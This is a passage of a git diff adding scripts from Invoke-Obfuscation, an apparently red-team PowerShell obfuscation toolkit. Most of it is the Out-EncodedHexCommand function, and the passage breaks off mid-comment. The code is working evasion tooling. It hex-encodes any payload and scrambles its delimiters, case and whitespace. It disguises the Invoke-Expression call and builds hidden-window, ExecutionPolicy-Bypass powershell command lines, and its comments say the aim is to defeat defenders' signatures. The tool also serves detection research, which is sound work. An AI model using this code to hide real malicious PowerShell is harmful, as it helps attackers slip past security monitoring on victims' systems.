@(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $EncodingBase + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input @('-as','-As','-aS','-AS')) + ' '*(Get-Random -Input @(0,1)) + "[$CharStr]" + $RandomConversionSyntax = (Get-Random -Input $RandomConversionSyntax) + + # Create array syntax for encoded $ScriptString as alternative to .Split/-Split syntax. + $EncodedArray = '' + ([Char[]]$ScriptString) | ForEach-Object { + # Encapsulate current item with single quote if it contains a non-integer. + If([Convert]::ToString(([Int][Char]$_),$EncodingBase).Trim('0123456789').Length -gt 0) {$Quote = "'"} + Else {$Quote = ''} + $EncodedArray += ($Quote + [Convert]::ToString(([Int][Char]$_),$EncodingBase) + $Quote + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1))) + } + + # Remove trailing comma from $EncodedArray. + $EncodedArray = ('(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray.Trim().Trim(',') + ')') + + # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable). + # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists. + # If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls + # For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables + $SetOfsVarSyntax = @() + $SetOfsVarSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVarSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVar = (Get-Random -Input $SetOfsVarSyntax) + + $SetOfsVarBackSyntax = @() + $SetOfsVarBackSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBackSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBack = (Get-Random -Input $SetOfsVarBackSyntax) + + # Randomize case of $SetOfsVar and $SetOfsVarBack. + $SetOfsVar = ([Char[]]$SetOfsVar | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $SetOfsVarBack = ([Char[]]$SetOfsVarBack | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Generate the code that will decrypt and execute the payload and randomly select one. + $BaseScriptArray = @() + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $DelimitedEncodedArray + "'." + $Split + "(" + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimitersToPrint + "'" + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $DelimitedEncodedArray + "'" + ' '*(Get-Random -Input @(0,1)) + $RandomDelimitersToPrintForDashSplit + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + + # Generate random JOIN syntax for all above options. + $NewScriptArray = @() + $NewScriptArray += (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + $Join + ' '*(Get-Random -Input @(0,1)) + "''" + $NewScriptArray += $Join + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $BaseScriptArray) + $NewScriptArray += $StrJoin + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + ')' + $NewScriptArray += '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVar + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + '+' + ' '*(Get-Random -Input @(0,1)) + $StrStr + (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + '+' + '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVarBack + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + + # Randomly select one of the above commands. + $NewScript = (Get-Random -Input $NewScriptArray) + + # Generate random invoke operation syntax. + # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies. + $InvokeExpressionSyntax = @() + $InvokeExpressionSyntax += (Get-Random -Input @('IEX','Invoke-Expression')) + # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. + # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet. + # These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc. + $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1)) + $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')" + + # Randomly choose from above invoke operation syntaxes. + $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax) + + # Randomize the case of selected invoke operation. + $InvokeExpression = ([Char[]]$InvokeExpression | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) + $InvokeOptions = @() + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + + $NewScript = (Get-Random -Input $InvokeOptions) + + # If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript. + If(!$PSBoundParameters['PassThru']) + { + # Array to store all selected PowerShell execution flags. + $PowerShellFlags = @() + + # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order. + # This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags. + $CommandlineOptions = New-Object String[](0) + If($PSBoundParameters['NoExit']) + { + $FullArgument = "-NoExit"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoProfile']) + { + $FullArgument = "-NoProfile"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NonInteractive']) + { + $FullArgument = "-NonInteractive"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoLogo']) + { + $FullArgument = "-NoLogo"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle) + { + $FullArgument = "-WindowStyle" + If($WindowsStyle) {$ArgumentValue = $WindowsStyle} + Else {$ArgumentValue = $PSBoundParameters['WindowStyle']} + + # Randomly decide to write WindowStyle value with flag substring or integer value. + Switch($ArgumentValue.ToLower()) + { + 'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}} + 'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}} + 'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}} + 'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}} + default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;} + } + + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy) + { + $FullArgument = "-ExecutionPolicy" + If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy} + Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']} + # Take into account the shorted flag of -EP as well. + $ExecutionPolicyFlags = @() + $ExecutionPolicyFlags += '-EP' + For($Index=3; $Index -le $FullArgument.Length; $Index++) + { + $ExecutionPolicyFlags += $FullArgument.SubString(0,$Index) + } + $ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags + $PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + + # Randomize the order of the execution flags. + # This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags. + If($CommandlineOptions.Count -gt 1) + { + $CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count + } + + # If selected then the -Command flag needs to be added last. + If($PSBoundParameters['Command']) + { + $FullArgument = "-Command" + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + } + + # Randomize the case of all command-line arguments. + For($i=0; $i -lt $PowerShellFlags.Count; $i++) + { + $PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + + # Random-sized whitespace between all execution flags and encapsulating final string of execution flags. + $CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join '' + $CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3) + + # Build up the full command-line string. + If($PSBoundParameters['Wow64']) + { + # A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution + $CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + } + Else + { + # Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon). + #$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + $CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`"" + } + + # Make sure final command doesn't exceed cmd.exe's character limit. + $CmdMaxLength = 8190 + If($CommandLineOutput.Length -gt $CmdMaxLength) + { + Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters." + } + + $NewScript = $CommandLineOutput + } + + Return $NewScript +} \ No newline at end of file diff --git a/lib/powershell/Invoke-Obfuscation/Out-EncodedHexCommand.ps1 b/lib/powershell/Invoke-Obfuscation/Out-EncodedHexCommand.ps1 new file mode 100644 index 000000000..52b0c01b4 --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Out-EncodedHexCommand.ps1 @@ -0,0 +1,389 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Out-EncodedHexCommand +{ +<# +.SYNOPSIS + +Generates hexadecimal encoded payload for a PowerShell command or script. Optionally it adds command line output to final command. + +Invoke-Obfuscation Function: Out-EncodedHexCommand +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-EncodedHexCommand encodes an input PowerShell scriptblock or path as a hexadecimal payload. It randomly chooses between .Split/-Split/array syntax to store the encoded payload in the final output. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER Path + +Specifies the path to your payload. + +.PARAMETER NoExit + +Outputs the option to not exit after running startup commands. + +.PARAMETER NoProfile + +Outputs the option to not load the Windows PowerShell profile. + +.PARAMETER NonInteractive + +Outputs the option to not present an interactive prompt to the user. + +.PARAMETER NoLogo + +Outputs the option to not present the logo to the user. + +.PARAMETER Wow64 + +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +.PARAMETER Command + +Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt. + +.PARAMETER WindowStyle + +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +.PARAMETER ExecutionPolicy + +Outputs the option to set the default execution policy for the current session. + +.PARAMETER PassThru + +(Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output. + +.EXAMPLE + +C:\PS> Out-EncodedHexCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive + +powershell -NonInt -NoPr "('57_72}69R74u65P2dR48T6fu73_74;20_27R48T65R6cR6c;6fT20;57}6fP72}6cT64u21;27}20}2dP46T6f}72u65{67T72}6f_75}6e{64P43_6f_6cR6f{72u20;47T72{65T65}6eT3b}20T57_72P69u74u65P2dT48T6fR73;74;20P27T4fu62;66P75{73R63}61}74{69R6fu6eT20T52u6fT63u6b;73u21;27}20;2d;46R6fT72T65P67P72R6fP75{6e}64T43_6fP6cR6f{72;20T47T72T65{65}6e'-SPLiT'P'-SpliT'}'-SPLIt 'u'-SpLIt'{'-SPLit'R' -SplIT '_'-SpliT'T' -SplIt';'| ForEach-Object { ([Convert]::ToInt16(( $_.ToString()),16)-AS[Char]) }) -Join ''|Invoke-Expression" + +C:\PS> Out-EncodedHexCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru + + -Join (( 57,72 , 69 , 74 , 65, '2d', 48, '6f', 73 ,74, 20, 27 ,48, 65, '6c', '6c','6f', 20,57 , '6f',72,'6c' , 64 ,21 , 27 , 20 ,'2d', 46,'6f', 72 ,65 ,67, 72, '6f', 75 ,'6e', 64 ,43,'6f' , '6c' ,'6f' , 72,20 ,47 , 72 , 65, 65,'6e','3b', 20, 57 ,72,69 ,74 ,65,'2d',48 ,'6f' ,73, 74 ,20 , 27,'4f' ,62, 66,75 , 73 ,63 ,61 ,74 , 69 , '6f' , '6e', 20,52 , '6f',63 , '6b' , 73,21,27 , 20, '2d' ,46 ,'6f', 72,65 ,67, 72 ,'6f' ,75 ,'6e' , 64 , 43,'6f' ,'6c' , '6f' , 72 ,20, 47,72,65 , 65, '6e') |ForEach-Object{ ([Char]([Convert]::ToInt16( ([String]$_) ,16))) })|IEX + +.NOTES + +Inspiration for this encoding technique came from: https://blogs.technet.microsoft.com/heyscriptingguy/2011/09/09/convert-hexadecimal-to-ascii-using-powershell/ +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding(DefaultParameterSetName = 'FilePath')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'FilePath')] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Switch] + $NoExit, + + [Switch] + $NoProfile, + + [Switch] + $NonInteractive, + + [Switch] + $NoLogo, + + [Switch] + $Wow64, + + [Switch] + $Command, + + [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] + [String] + $WindowStyle, + + [ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')] + [String] + $ExecutionPolicy, + + [Switch] + $PassThru + ) + + # Encoding base values: 16=Hex, 8=Octal, 2=Binary + $EncodingBase = 16 + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path)) + } + Else + { + $ScriptString = [String]$ScriptBlock + } + + # Create list of random delimiters $RandomDelimiters. + # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax. + $RandomDelimiters = @('_','-',',','{','}','~','!','@','%','&','<','>',';',':') + + # Add letters g-z with random case to $RandomDelimiters (avoiding a-f as it will be used for Hexadecimal values). + @('g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') | ForEach-Object {$UpperLowerChar = $_; If(((Get-Random -Input @(1..2))-1 -eq 0)) {$UpperLowerChar = $UpperLowerChar.ToUpper()} $RandomDelimiters += $UpperLowerChar} + + # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output. + $RandomDelimiters = (Get-Random -Input $RandomDelimiters -Count ($RandomDelimiters.Count/4)) + + # Convert $ScriptString to delimited Hex values in [Char] array separated by random delimiter from defined list $RandomDelimiters. + $DelimitedEncodedArray = '' + ([Char[]]$ScriptString) | ForEach-Object {$DelimitedEncodedArray += ([Convert]::ToString(([Int][Char]$_),$EncodingBase) + (Get-Random -Input $RandomDelimiters))} + + # Remove trailing delimiter from $DelimitedEncodedArray. + $DelimitedEncodedArray = $DelimitedEncodedArray.SubString(0,$DelimitedEncodedArray.Length-1) + + # Create printable version of $RandomDelimiters in random order to be used by final command. + $RandomDelimitersToPrint = (Get-Random -Input $RandomDelimiters -Count $RandomDelimiters.Length) -Join '' + + # Generate random case versions for necessary operations. + $ForEachObject = Get-Random -Input @('ForEach','ForEach-Object','%') + $StrJoin = ([Char[]]'[String]::Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $StrStr = ([Char[]]'[String]' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Join = ([Char[]]'-Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $CharStr = ([Char[]]'Char' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Int = ([Char[]]'Int' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $ForEachObject = ([Char[]]$ForEachObject | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $ToInt16 = ([Char[]]'[Convert]::ToInt16(' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax. + $RandomDelimitersToPrintForDashSplit = '' + ForEach($RandomDelimiter in $RandomDelimiters) + { + # Random case 'split' string. + $Split = ([Char[]]'Split' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + $RandomDelimitersToPrintForDashSplit += ('-' + $Split + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimiter + "'" + ' '*(Get-Random -Input @(0,1))) + } + $RandomDelimitersToPrintForDashSplit = $RandomDelimitersToPrintForDashSplit.Trim() + + # Randomly select between various conversion syntax options. + $RandomStringSyntax = ([Char[]](Get-Random -Input @('[String]$_','$_.ToString()')) | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $RandomConversionSyntax = @() + $RandomConversionSyntax += "[$CharStr]" + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $ToInt16 + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomStringSyntax + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ',' + $EncodingBase + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ')' + $RandomConversionSyntax += $ToInt16 + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomStringSyntax + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + $EncodingBase + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input @('-as','-As','-aS','-AS')) + ' '*(Get-Random -Input @(0,1)) + "[$CharStr]" + $RandomConversionSyntax = (Get-Random -Input $RandomConversionSyntax) + + # Create array syntax for encoded $ScriptString as alternative to .Split/-Split syntax. + $EncodedArray = '' + ([Char[]]$ScriptString) | ForEach-Object { + # Encapsulate current item with single quote if it contains a non-integer. + If([Convert]::ToString(([Int][Char]$_),$EncodingBase).Trim('0123456789').Length -gt 0) {$Quote = "'"} + Else {$Quote = ''} + $EncodedArray += ($Quote + [Convert]::ToString(([Int][Char]$_),$EncodingBase) + $Quote + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1))) + } + + # Remove trailing comma from $EncodedArray. + $EncodedArray = ('(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray.Trim().Trim(',') + ')') + + # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable). + # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists. + # If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls + # For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables + $SetOfsVarSyntax = @() + $SetOfsVarSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVarSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVar = (Get-Random -Input $SetOfsVarSyntax) + + $SetOfsVarBackSyntax = @() + $SetOfsVarBackSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBackSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBack = (Get-Random -Input $SetOfsVarBackSyntax) + + # Randomize case of $SetOfsVar and $SetOfsVarBack. + $SetOfsVar = ([Char[]]$SetOfsVar | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $SetOfsVarBack = ([Char[]]$SetOfsVarBack | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Generate the code that will decrypt and execute the payload and randomly select one. + $BaseScriptArray = @() + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $DelimitedEncodedArray + "'." + $Split + "(" + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimitersToPrint + "'" + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $DelimitedEncodedArray + "'" + ' '*(Get-Random -Input @(0,1)) + $RandomDelimitersToPrintForDashSplit + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + '{' + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomConversionSyntax + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + ' '*(Get-Random -Input @(0,1)) + ')' + + # Generate random JOIN syntax for all above options. + $NewScriptArray = @() + $NewScriptArray += (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + $Join + ' '*(Get-Random -Input @(0,1)) + "''" + $NewScriptArray += $Join + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $BaseScriptArray) + $NewScriptArray += $StrJoin + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + ')' + $NewScriptArray += '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVar + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + '+' + ' '*(Get-Random -Input @(0,1)) + $StrStr + (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + '+' + '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVarBack + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + + # Randomly select one of the above commands. + $NewScript = (Get-Random -Input $NewScriptArray) + + # Generate random invoke operation syntax. + # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies. + $InvokeExpressionSyntax = @() + $InvokeExpressionSyntax += (Get-Random -Input @('IEX','Invoke-Expression')) + # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. + # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver 